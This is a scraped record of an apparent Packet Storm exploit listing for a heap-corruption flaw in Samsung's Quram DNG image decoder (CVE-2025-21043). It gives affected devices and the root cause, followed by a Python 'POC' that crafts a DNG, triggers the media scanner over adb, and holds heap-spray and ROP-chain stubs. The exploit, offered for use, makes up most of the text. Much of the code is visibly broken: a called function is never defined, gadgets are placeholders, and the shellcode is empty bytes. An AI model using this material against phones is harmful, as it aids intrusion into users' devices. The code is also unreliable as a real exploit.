{“lastseen”:”2026-02-18T17:32:50″,”description”:”A vulnerability exists in Samsung’s image decoding library libimagecodec.quram.so responsible for parsing Digital Negatives DNG. A malformed DNG containing oversized IFD entries can cause heap corruption. With precise heap grooming, this condition may…”,”published”:”2026-02-18T00:00:00″,”modified”:”2026-02-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Samsung QuramDNG Heap Corruption”,”source”:””,”references”:””,”id”:”PACKETSTORM:215823″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-21043″],”sourceData”:”=============================================================================================================================================\\n | # Title : Samsung QuramDNG Heap Exploitation via Malformed (libimagecodec.quram.so) |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : System built\u2011in component. No standalone download available. |\\n =============================================================================================================================================\\n \\n [+] Summary : A vulnerability exists in Samsung\u2019s image decoding library (libimagecodec.quram.so) responsible for parsing Digital Negatives (DNG).\\n A malformed DNG containing oversized IFD entries can cause heap corruption.\\n With precise heap grooming, this condition may lead to remote code execution when the malicious DNG is decoded.\\n \\n [+] Affected Platforms (Likely Impact)\\n \\n Devices using Quram Codec and containing vulnerable libimagecodec.quram.so, typically:\\n \\n Galaxy S22 \/ S23 \/ S24 series\\n \\n Galaxy Z Fold \/ Z Flip\\n \\n Galaxy A and Tab series\\n \\n Any Samsung model using Quram decoder before SMR\u2011SEP\u20112025\\n \\n [+] OS Builds Affected:\\n \\n Android builds where the Quram codec is present and security patch level \\u003c September 2025\\n \\n [+] Technical Description (Root Cause)\\n \\n libimagecodec.quram.so fails to sanitize the size of metadata entries when parsing a DNG file:\\n \\n The IFD entry count is taken from the attacker-controlled file.\\n \\n Size validation is missing.\\n \\n Heap allocator metadata and adjacent buffers may be overwritten.\\n \\n Controlled overwrite can result in hijacked code execution.\\n \\n Critical vulnerable function:\\n \\n doMapPoly16()\\n \\n located inside Quram image parsing logic.\\n \\n Instructions For Saving:\\n ————————\\n 1) Save file as:\\n poc.py\\n \\n Instructions For Running:\\n ————————-\\n python3 poc.py\\n \\t\\t \\n \\n [+] POC : \\n \\n import os\\n import subprocess\\n import time\\n \\n class QuramDngExploit:\\n def __init__(self):\\n self.malicious_dng = None\\n \\n def craft_exploit(self):\\n \\”\\”\\”Create DNG with controlled heap layout\\”\\”\\”\\n print(\\”[*] Crafting malicious DNG file…\\”)\\n \\n dng_data = create_malicious_dng()\\n \\n return dng_data\\n \\n def spray_heap(self):\\n \\”\\”\\”Spray heap with controlled objects\\”\\”\\”\\n \\n spray_code = \\”\\”\\”\\n import java.util.ArrayList;\\n \\n public class HeapSpray {\\n private static ArrayList\\u003cbyte[]\\u003e sprayList = new ArrayList\\u003c\\u003e();\\n \\n public static void spray(int count, int size) {\\n for (int i = 0; i \\u003c count; i++) {\\n byte[] buffer = new byte[size];\\n \\n for (int j = 0; j \\u003c size; j += 8) {\\n \\n buffer[j] = (byte)0x41;\\n }\\n sprayList.add(buffer);\\n }\\n }\\n }\\n \\”\\”\\”\\n \\n def trigger(self):\\n \\”\\”\\”Trigger the vulnerability\\”\\”\\”\\n print(\\”[*] Triggering vulnerability…\\”)\\n \\n temp_file = \\”\/data\/local\/tmp\/exploit.dng\\”\\n with open(temp_file, ‘wb’) as f:\\n f.write(self.craft_exploit())\\n \\n cmd = [\\n ‘adb’, ‘shell’,\\n ‘am’, ‘broadcast’,\\n ‘-a’, ‘android.intent.action.MEDIA_SCANNER_SCAN_FILE’,\\n ‘-d’, f’file:\/\/{temp_file}’\\n ]\\n \\n subprocess.run(cmd)\\n \\n print(\\”[*] Waiting for com.samsung.ipservice to process file…\\”)\\n time.sleep(10)\\n \\n self.monitor_logcat()\\n \\n def monitor_logcat(self):\\n \\”\\”\\”Monitor for crash logs\\”\\”\\”\\n print(\\”[*] Monitoring logcat for crashes…\\”)\\n logcat = subprocess.Popen(\\n [‘adb’, ‘logcat’, ‘-s’, ‘DEBUG’],\\n stdout=subprocess.PIPE,\\n stderr=subprocess.PIPE\\n )\\n \\n for line in logcat.stdout:\\n line = line.decode(‘utf-8′, errors=’ignore’)\\n if ‘SIGSEGV’ in line or ‘libimagecodec.quram’ in line:\\n print(\\”[+] Crash detected!\\”)\\n print(line)\\n break\\n \\n def build_rop_chain(self):\\n \\”\\”\\”Build ROP chain for ARM64\\”\\”\\”\\n rop_chain = []\\n gadgets = {\\n ‘pop_x0’: 0x123456, # placeholder\\n ‘pop_x1’: 0x123457,\\n ‘system’: 0x123458,\\n ‘blr_x19’: 0x123459,\\n }\\n \\n return rop_chain\\n \\n def achieve_rce(self):\\n \\”\\”\\”Attempt to achieve Remote Code Execution\\”\\”\\”\\n print(\\”[*] Attempting to achieve RCE…\\”)\\n \\n \\n shellcode = (\\n \\n b\\”\\\\x00\\\\x00\\\\x00\\\\x00\\” \\n )\\n \\n return False\\n \\n if __name__ == \\”__main__\\”:\\n exploit = QuramDngExploit()\\n \\n print(\\”[*] Starting QuramDng exploit (CVE-2025-21043)\\”)\\n print(\\”[*] Target: libimagecodec.quram.so\\”)\\n print(\\”[*] Vulnerability: OOB Write in doMapPoly16\\”)\\n \\n exploit.craft_exploit()\\n \\n exploit.trigger()\\n \\n print(\\”[*] Exploit completed\\”)\\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215823″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215823\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-18T17:32:50″,”description”:”A vulnerability exists in Samsung’s image decoding library libimagecodec.quram.so responsible for parsing Digital Negatives DNG. A malformed DNG containing oversized IFD entries can cause heap…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-41393","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n